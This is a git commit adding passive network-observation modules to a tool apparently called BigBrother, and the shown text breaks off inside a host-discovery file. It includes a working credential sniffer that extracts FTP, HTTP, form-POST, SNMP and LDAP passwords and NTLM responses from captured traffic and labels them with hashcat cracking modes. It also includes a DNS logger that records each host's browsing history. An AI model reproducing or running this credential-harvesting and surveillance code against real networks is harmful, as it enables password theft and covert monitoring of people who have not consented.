Add 8 passive network observation modules (Phase 2)

- PacketCapture: tcpdump subprocess with zstd compression + AES-256-GCM encryption, disk auto-purge
- DNSLogger: DNS query/response parsing with DoH detection, batch SQLite writes
- TLSSNIExtractor: TLS ClientHello SNI extraction with TCP reassembly for fragments
- CredentialSniffer: FTP/HTTP Basic/form POST/SNMP/LDAP/NTLMv1v2 credential extraction
- KerberosHarvester: AS-REQ/AS-REP/TGS-REP parsing for hashcat modes 7500/18200/13100
- HostDiscovery: ARP/DHCP/mDNS/NetBIOS/SSDP/LLMNR passive host inventory with OUI lookup
- OSFingerprint: p0f-style TCP SYN analysis + HTTP UA/SSH banner/SMB dialect fingerprinting
- TrafficAnalyzer: flow tracking, protocol distribution, top talkers, beacon detection

All modules extend BaseModule, use capture_bus subscription, struct-based parsing
(no scapy), batch SQLite writes, and publish bus events.
This commit is contained in:
n0mad1k
2026-03-18 13:30:39 -04:00
parent 3394c72814
commit 1c85244e9c
9 changed files with 4424 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
"""BigBrother passive modules — zero-noise network observation."""
from modules.passive.packet_capture import PacketCapture
from modules.passive.dns_logger import DNSLogger
from modules.passive.tls_sni_extractor import TLSSNIExtractor
from modules.passive.credential_sniffer import CredentialSniffer
from modules.passive.kerberos_harvester import KerberosHarvester
from modules.passive.host_discovery import HostDiscovery
from modules.passive.os_fingerprint import OSFingerprint
from modules.passive.traffic_analyzer import TrafficAnalyzer
__all__ = [
"PacketCapture",
"DNSLogger",
"TLSSNIExtractor",
"CredentialSniffer",
"KerberosHarvester",
"HostDiscovery",
"OSFingerprint",
"TrafficAnalyzer",
]
+657
View File
@@ -0,0 +1,657 @@
#!/usr/bin/env python3
"""Passive credential extraction from network traffic.
Extracts cleartext and hashed credentials from protocols:
- FTP USER/PASS
- HTTP Basic auth (base64 decode)
- HTTP form POST (password fields)
- SNMP community strings
- LDAP simple bind
- NTLMv1/v2 challenge-response from SMB and HTTP
Publishes CREDENTIAL_FOUND events immediately on capture.
Batch-writes to SQLite for persistence.
"""
import base64
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.credential_sniffer")
# Hashcat mode mapping
HASHCAT_MODES = {
"ntlmv2": 5600,
"ntlmv1": 5500,
"net-ntlmv2": 5600,
"net-ntlmv1": 5500,
"ftp": 0, # plaintext
"http_basic": 0,
"http_form": 0,
"snmp": 0,
"ldap_simple": 0,
}
class CredentialSniffer(BaseModule):
"""Extract credentials from network traffic in real time."""
name = "credential_sniffer"
module_type = "passive"
priority = 80
requires_root = True
BATCH_SIZE = 100
FLUSH_INTERVAL = 30
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_creds = 0
# Track FTP sessions: (src_ip, dst_ip, dst_port) -> last_user
self._ftp_sessions = {}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("CredentialSniffer requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._db_path = os.path.join(base_dir, "credentials.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load BPF filter from file or use default
bpf_path = self.config.get("bpf_filter_path", "")
bpf_filter = ""
if bpf_path and os.path.isfile(bpf_path):
with open(bpf_path) as f:
lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
bpf_filter = " ".join(lines)
if not bpf_filter:
bpf_filter = "port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf_filter, queue_depth=8000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-cred-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-cred-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("CredentialSniffer started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("CredentialSniffer stopped — %d credentials captured", self._total_creds)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_credentials": self._total_creds,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
target_ip TEXT NOT NULL,
target_port INTEGER NOT NULL,
service TEXT NOT NULL,
username TEXT,
domain TEXT,
cred_type TEXT NOT NULL,
cred_value TEXT,
hashcat_mode INTEGER
);
CREATE INDEX IF NOT EXISTS idx_cred_source ON credentials(source_ip);
CREATE INDEX IF NOT EXISTS idx_cred_service ON credentials(service);
CREATE INDEX IF NOT EXISTS idx_cred_ts ON credentials(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Route packet to appropriate protocol parser."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 6: # TCP
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload = raw[tcp_offset + tcp_hdr_len:]
if not payload:
return
# FTP (port 21)
if dst_port == 21 or src_port == 21:
self._parse_ftp(ts, src_ip, dst_ip, dst_port, src_port, payload)
# HTTP (port 80, 8080, 8443, etc.)
if dst_port in (80, 8080, 8000, 8443, 3128):
self._parse_http(ts, src_ip, dst_ip, dst_port, payload)
# LDAP (port 389, 3268)
if dst_port in (389, 3268):
self._parse_ldap(ts, src_ip, dst_ip, dst_port, payload)
# SMB (port 445) — NTLM auth
if dst_port == 445 or src_port == 445:
self._parse_smb_ntlm(ts, src_ip, dst_ip, dst_port, src_port, payload)
elif ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
payload = raw[udp_offset + 8:]
# SNMP (port 161)
if dst_port == 161:
self._parse_snmp(ts, src_ip, dst_ip, dst_port, payload)
# ------------------------------------------------------------------
# Protocol parsers
# ------------------------------------------------------------------
def _parse_ftp(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, src_port: int, payload: bytes) -> None:
"""Parse FTP USER and PASS commands."""
try:
text = payload.decode("ascii", errors="ignore").strip()
except Exception:
return
# Client -> Server commands
ftp_target = dst_ip if dst_port == 21 else src_ip
ftp_client = src_ip if dst_port == 21 else dst_ip
ftp_port = 21
session_key = (ftp_client, ftp_target, ftp_port)
if text.upper().startswith("USER "):
username = text[5:].strip()
self._ftp_sessions[session_key] = username
elif text.upper().startswith("PASS "):
password = text[5:].strip()
username = self._ftp_sessions.get(session_key, "")
self._emit_credential(
ts, ftp_client, ftp_target, ftp_port,
"ftp", username, "", "plaintext", password, HASHCAT_MODES["ftp"],
)
def _parse_http(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Parse HTTP Authorization headers and form POST data."""
try:
text = payload.decode("utf-8", errors="ignore")
except Exception:
return
# HTTP Basic auth
basic_match = re.search(
r"Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
)
if basic_match:
try:
decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
if ":" in decoded:
username, password = decoded.split(":", 1)
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"http_basic", username, "", "plaintext", password,
HASHCAT_MODES["http_basic"],
)
except Exception:
pass
# NTLM over HTTP
ntlm_match = re.search(
r"Authorization:\s*NTLM\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
)
if ntlm_match:
self._parse_ntlm_token(
ts, src_ip, dst_ip, dst_port, "http_ntlm",
base64.b64decode(ntlm_match.group(1)),
)
# HTTP form POST with password fields
if text.startswith("POST "):
content_type_match = re.search(
r"Content-Type:\s*application/x-www-form-urlencoded", text, re.IGNORECASE
)
if content_type_match:
# Find body (after double CRLF)
body_start = text.find("\r\n\r\n")
if body_start == -1:
body_start = text.find("\n\n")
if body_start >= 0:
body = text[body_start:].strip()
self._parse_form_post(ts, src_ip, dst_ip, dst_port, body)
def _parse_form_post(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, body: str) -> None:
"""Extract username/password from URL-encoded form POST."""
params = {}
for pair in body.split("&"):
if "=" in pair:
key, value = pair.split("=", 1)
params[key.lower()] = value
# Look for common password field names
password_keys = ["password", "passwd", "pass", "pwd", "user_password",
"login_password", "secret"]
username_keys = ["username", "user", "login", "email", "userid",
"login_name", "user_name"]
password = ""
username = ""
for pk in password_keys:
if pk in params:
password = params[pk]
break
if not password:
return
for uk in username_keys:
if uk in params:
username = params[uk]
break
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"http_form", username, "", "plaintext", password,
HASHCAT_MODES["http_form"],
)
def _parse_snmp(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Extract SNMP v1/v2c community strings from packets."""
if len(payload) < 10:
return
# SNMP is BER/ASN.1 encoded
# Sequence tag: 0x30
if payload[0] != 0x30:
return
offset = 1
# Skip sequence length
if payload[offset] & 0x80:
num_len_bytes = payload[offset] & 0x7F
offset += 1 + num_len_bytes
else:
offset += 1
# Version: Integer tag (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
ver_len = payload[offset]
offset += 1
if offset + ver_len > len(payload):
return
version = int.from_bytes(payload[offset:offset + ver_len], "big")
offset += ver_len
# Only v1 (0) and v2c (1) have community strings
if version > 1:
return
# Community string: OctetString tag (0x04)
if offset >= len(payload) or payload[offset] != 0x04:
return
offset += 1
if offset >= len(payload):
return
comm_len = payload[offset]
offset += 1
if offset + comm_len > len(payload):
return
community = payload[offset:offset + comm_len].decode("ascii", errors="replace")
# Skip trivially useless ones
if community.lower() in ("", "public"):
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"snmp", "", "", "community_string", community,
HASHCAT_MODES["snmp"],
)
def _parse_ldap(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Extract LDAP simple bind credentials."""
if len(payload) < 14:
return
# LDAP messages are BER encoded
# Sequence (0x30)
if payload[0] != 0x30:
return
offset = 1
# Skip outer sequence length
seq_len, offset = self._ber_length(payload, offset)
if seq_len < 0:
return
# MessageID: Integer (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
id_len, offset = self._ber_length(payload, offset)
if id_len < 0:
return
offset += id_len
# BindRequest: Application[0] = 0x60
if offset >= len(payload) or payload[offset] != 0x60:
return
offset += 1
bind_len, offset = self._ber_length(payload, offset)
if bind_len < 0:
return
# Version: Integer (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
ver_len, offset = self._ber_length(payload, offset)
if ver_len < 0:
return
offset += ver_len
# DN: OctetString (0x04)
if offset >= len(payload) or payload[offset] != 0x04:
return
offset += 1
dn_len, offset = self._ber_length(payload, offset)
if dn_len < 0 or offset + dn_len > len(payload):
return
dn = payload[offset:offset + dn_len].decode("utf-8", errors="replace")
offset += dn_len
# Auth choice: Simple = Context[0] = 0x80
if offset >= len(payload) or payload[offset] != 0x80:
return
offset += 1
pass_len, offset = self._ber_length(payload, offset)
if pass_len < 0 or offset + pass_len > len(payload):
return
password = payload[offset:offset + pass_len].decode("utf-8", errors="replace")
if not password:
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"ldap_simple", dn, "", "plaintext", password,
HASHCAT_MODES["ldap_simple"],
)
def _parse_smb_ntlm(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, src_port: int, payload: bytes) -> None:
"""Extract NTLM auth from SMB2 session setup messages."""
# SMB2 header: 0xFE 'S' 'M' 'B'
# Search for NTLMSSP signature in payload
ntlmssp_offset = payload.find(b"NTLMSSP\x00")
if ntlmssp_offset < 0:
return
ntlm_data = payload[ntlmssp_offset:]
target_ip = dst_ip if dst_port == 445 else src_ip
client_ip = src_ip if dst_port == 445 else dst_ip
self._parse_ntlm_token(ts, client_ip, target_ip, 445, "smb", ntlm_data)
def _parse_ntlm_token(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, service: str, data: bytes) -> None:
"""Parse NTLMSSP authentication message (Type 3) for NTLMv1/v2 hashes."""
if len(data) < 12:
return
# Check NTLMSSP signature
if data[:8] != b"NTLMSSP\x00":
return
msg_type = struct.unpack("<I", data[8:12])[0]
if msg_type == 3: # AUTHENTICATE_MESSAGE
if len(data) < 72:
return
# Parse field offsets
lm_len = struct.unpack("<H", data[12:14])[0]
lm_off = struct.unpack("<I", data[16:20])[0]
nt_len = struct.unpack("<H", data[20:22])[0]
nt_off = struct.unpack("<I", data[24:28])[0]
domain_len = struct.unpack("<H", data[28:30])[0]
domain_off = struct.unpack("<I", data[32:36])[0]
user_len = struct.unpack("<H", data[36:38])[0]
user_off = struct.unpack("<I", data[40:44])[0]
# Extract fields
try:
domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace")
username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace")
except Exception:
return
if not username:
return
# Determine NTLMv1 vs NTLMv2
if nt_len == 24:
# NTLMv1
nt_hash = data[nt_off:nt_off + nt_len].hex()
lm_hash = data[lm_off:lm_off + lm_len].hex() if lm_len > 0 else ""
cred_value = f"{username}::{domain}:{lm_hash}:{nt_hash}:"
cred_type = "ntlmv1"
hashcat_mode = HASHCAT_MODES["ntlmv1"]
elif nt_len > 24:
# NTLMv2
nt_response = data[nt_off:nt_off + nt_len]
nt_proof = nt_response[:16].hex()
nt_blob = nt_response[16:].hex()
# Server challenge would ideally come from Type 2 message
# For now, format as hashcat-compatible partial
cred_value = f"{username}::{domain}::{nt_proof}:{nt_blob}"
cred_type = "ntlmv2"
hashcat_mode = HASHCAT_MODES["ntlmv2"]
else:
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
service, username, domain, cred_type, cred_value, hashcat_mode,
)
@staticmethod
def _ber_length(data: bytes, offset: int) -> tuple:
"""Read a BER-encoded length. Returns (length, new_offset) or (-1, offset) on error."""
if offset >= len(data):
return -1, offset
first = data[offset]
offset += 1
if first & 0x80 == 0:
return first, offset
num_bytes = first & 0x7F
if num_bytes == 0 or offset + num_bytes > len(data):
return -1, offset
length = int.from_bytes(data[offset:offset + num_bytes], "big")
return length, offset + num_bytes
# ------------------------------------------------------------------
# Credential emission
# ------------------------------------------------------------------
def _emit_credential(self, ts: float, src_ip: str, target_ip: str,
target_port: int, service: str, username: str,
domain: str, cred_type: str, cred_value: str,
hashcat_mode: int) -> None:
"""Buffer credential for SQLite and immediately publish bus event."""
self._total_creds += 1
record = (ts, src_ip, target_ip, target_port, service,
username, domain, cred_type, cred_value, hashcat_mode)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
# Immediate bus notification
self.bus.emit("CREDENTIAL_FOUND", {
"source_ip": src_ip,
"target_ip": target_ip,
"target_port": target_port,
"service": service,
"username": username,
"domain": domain,
"cred_type": cred_type,
"hashcat_mode": hashcat_mode,
}, source_module=self.name)
logger.info(
"CREDENTIAL: %s %s@%s:%d (%s/%s)",
service, username, target_ip, target_port, cred_type,
f"hashcat -m {hashcat_mode}" if hashcat_mode else "plaintext",
)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Credential flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO credentials "
"(timestamp, source_ip, target_ip, target_port, service, "
"username, domain, cred_type, cred_value, hashcat_mode) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d credentials", len(batch))
+400
View File
@@ -0,0 +1,400 @@
#!/usr/bin/env python3
"""Passive DNS query logger — builds per-host browsing history from wire.
Subscribes to capture_bus with BPF "port 53". Parses DNS query/response
packets using struct (no scapy dependency). Buffers records and batch-flushes
to SQLite every 60 seconds or 1000 records.
Also flags DoH connections to known resolvers on port 443 as DNS blind spots.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.dns_logger")
# Well-known DoH resolver IPs
DOH_RESOLVERS = frozenset([
"1.1.1.1", "1.0.0.1", # Cloudflare
"8.8.8.8", "8.8.4.4", # Google
"9.9.9.9", "149.112.112.112", # Quad9
"208.67.222.222", "208.67.220.220", # OpenDNS
])
# DNS query type map
QTYPES = {
1: "A", 2: "NS", 5: "CNAME", 6: "SOA", 12: "PTR",
15: "MX", 16: "TXT", 28: "AAAA", 33: "SRV", 35: "NAPTR",
43: "DS", 46: "RRSIG", 47: "NSEC", 48: "DNSKEY",
52: "TLSA", 65: "HTTPS", 257: "CAA", 255: "ANY",
}
class DNSLogger(BaseModule):
"""Log all DNS queries and responses per source IP."""
name = "dns_logger"
module_type = "passive"
priority = 100
requires_root = True
BATCH_SIZE = 1000
FLUSH_INTERVAL = 60 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_queries = 0
self._doh_detections = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("DNSLogger requires capture_bus in config")
return
# Database setup
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._db_path = os.path.join(base_dir, "dns_queries.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Subscribe to capture bus for DNS traffic
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 53", queue_depth=10000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Packet reader thread
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-dns-reader"
)
self._reader_thread.start()
# Periodic flusher thread
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-dns-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("DNSLogger started — listening for DNS on port 53")
def stop(self) -> None:
if not self._running:
return
self._running = False
# Unsubscribe from capture bus
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
# Final flush
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("DNSLogger stopped — %d total queries logged", self._total_queries)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_queries": self._total_queries,
"doh_detections": self._doh_detections,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS dns_queries (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
domain TEXT NOT NULL,
query_type TEXT,
response_ips TEXT,
ttl INTEGER,
is_doh INTEGER DEFAULT 0
);
CREATE INDEX IF NOT EXISTS idx_dns_source ON dns_queries(source_ip);
CREATE INDEX IF NOT EXISTS idx_dns_domain ON dns_queries(domain);
CREATE INDEX IF NOT EXISTS idx_dns_ts ON dns_queries(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
"""Pull packets from capture bus queue and parse DNS."""
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass # Malformed packets are silently dropped
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse an Ethernet frame containing a DNS packet."""
if len(raw) < 14:
return
# Ethernet header
eth_type = struct.unpack("!H", raw[12:14])[0]
if eth_type == 0x8100: # 802.1Q VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
else:
ip_offset = 14
if eth_type != 0x0800: # IPv4 only
return
if len(raw) < ip_offset + 20:
return
# IPv4 header
ip_header = raw[ip_offset:]
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
# UDP (17) or TCP (6) transport
transport_offset = ip_offset + ihl
if ip_proto == 17: # UDP
if len(raw) < transport_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
dns_offset = transport_offset + 8
# Check for DoH: known resolvers on port 443
if dst_port == 443 and dst_ip in DOH_RESOLVERS:
self._doh_detections += 1
record = (ts, src_ip, f"[DoH:{dst_ip}]", "DoH", "", 0, 1)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
return
if src_port != 53 and dst_port != 53:
return
elif ip_proto == 6: # TCP DNS (rare, used for large responses)
if len(raw) < transport_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
if src_port != 53 and dst_port != 53:
return
tcp_header_len = ((raw[transport_offset + 12] >> 4) & 0xF) * 4
dns_offset = transport_offset + tcp_header_len
# TCP DNS has 2-byte length prefix
if len(raw) < dns_offset + 2:
return
dns_offset += 2
else:
return
# Parse DNS payload
dns_data = raw[dns_offset:]
if len(dns_data) < 12:
return
self._parse_dns(ts, src_ip, dst_ip, src_port, dst_port, dns_data)
def _parse_dns(self, ts: float, src_ip: str, dst_ip: str,
src_port: int, dst_port: int, data: bytes) -> None:
"""Parse DNS header + question/answer sections."""
# DNS header: ID(2) FLAGS(2) QDCOUNT(2) ANCOUNT(2) NSCOUNT(2) ARCOUNT(2)
txid, flags, qdcount, ancount, nscount, arcount = struct.unpack(
"!HHHHHH", data[:12]
)
is_response = bool(flags & 0x8000)
offset = 12
# Parse questions
domains = []
query_types = []
for _ in range(qdcount):
domain, offset = self._read_name(data, offset)
if offset + 4 > len(data):
return
qtype, qclass = struct.unpack("!HH", data[offset:offset + 4])
offset += 4
if domain:
domains.append(domain)
query_types.append(QTYPES.get(qtype, str(qtype)))
# Parse answers (responses only)
response_ips = []
min_ttl = 0
if is_response:
for _ in range(ancount):
if offset >= len(data):
break
_name, offset = self._read_name(data, offset)
if offset + 10 > len(data):
break
rtype, _rclass, ttl, rdlength = struct.unpack(
"!HHIH", data[offset:offset + 10]
)
offset += 10
if offset + rdlength > len(data):
break
if rtype == 1 and rdlength == 4: # A record
ip = socket.inet_ntoa(data[offset:offset + 4])
response_ips.append(ip)
elif rtype == 28 and rdlength == 16: # AAAA record
try:
ip = socket.inet_ntop(socket.AF_INET6, data[offset:offset + 16])
response_ips.append(ip)
except Exception:
pass
if ttl > 0:
min_ttl = ttl if min_ttl == 0 else min(min_ttl, ttl)
offset += rdlength
# Build records for each queried domain
# For queries: source_ip is the querier
# For responses: dst_ip is the querier (source is the DNS server)
querier_ip = src_ip if not is_response else dst_ip
for i, domain in enumerate(domains):
if not domain or domain == ".":
continue
qtype = query_types[i] if i < len(query_types) else ""
resp_str = ",".join(response_ips) if response_ips else ""
record = (ts, querier_ip, domain, qtype, resp_str, min_ttl, 0)
self._total_queries += 1
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
@staticmethod
def _read_name(data: bytes, offset: int, max_jumps: int = 10) -> tuple:
"""Read a DNS name with pointer compression. Returns (name, new_offset)."""
parts = []
jumped = False
saved_offset = offset
jumps = 0
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
# Pointer
if offset + 1 >= len(data):
break
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
if not jumped:
saved_offset = offset + 2
jumped = True
offset = ptr
jumps += 1
if jumps > max_jumps:
break
continue
offset += 1
if offset + length > len(data):
break
try:
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
except Exception:
parts.append("?")
offset += length
name = ".".join(parts) if parts else ""
return (name, saved_offset if jumped else offset)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
"""Periodically flush DNS record buffer to SQLite."""
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("DNS flush error")
def _flush_buffer(self) -> None:
"""Write buffered DNS records to SQLite."""
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO dns_queries (timestamp, source_ip, domain, query_type, response_ips, ttl, is_doh) "
"VALUES (?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d DNS records", len(batch))
+688
View File
@@ -0,0 +1,688 @@
#!/usr/bin/env python3
"""Passive host discovery via broadcast/multicast protocol observation.
Parses:
- ARP requests/replies (IP-MAC mapping)
- DHCP request/ACK (hostname, vendor class, option 55 fingerprinting)
- mDNS/Bonjour (hostnames, services)
- NetBIOS name queries (NBNS port 137)
- SSDP/UPnP announcements (port 1900)
- LLMNR queries (port 5355)
Publishes HOST_DISCOVERED events. Correlates multiple signals per host
for IP + MAC + hostname + vendor (OUI) + OS guess.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.host_discovery")
class HostDiscovery(BaseModule):
"""Build host inventory from passive network observation."""
name = "host_discovery"
module_type = "passive"
priority = 100
requires_root = True
BATCH_SIZE = 200
FLUSH_INTERVAL = 60
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
# In-memory host table: ip -> host_info dict
self._hosts = {}
self._hosts_lock = threading.Lock()
self._pending_updates = []
self._update_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_hosts = 0
# OUI lookup cache: first 3 bytes hex -> vendor
self._oui_cache = {}
# DHCP fingerprint cache: option55 -> os_guess
self._dhcp_fp_cache = {}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("HostDiscovery requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._db_path = os.path.join(base_dir, "hosts.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load OUI database
oui_path = self.config.get("oui_db", "")
if oui_path and os.path.isfile(oui_path):
self._load_oui_db(oui_path)
# Load DHCP fingerprint database
dhcp_fp_path = self.config.get("dhcp_fingerprints_db", "")
if dhcp_fp_path and os.path.isfile(dhcp_fp_path):
self._load_dhcp_fingerprints(dhcp_fp_path)
# Load BPF filter
bpf_path = self.config.get("bpf_filter_path", "")
bpf_filter = ""
if bpf_path and os.path.isfile(bpf_path):
with open(bpf_path) as f:
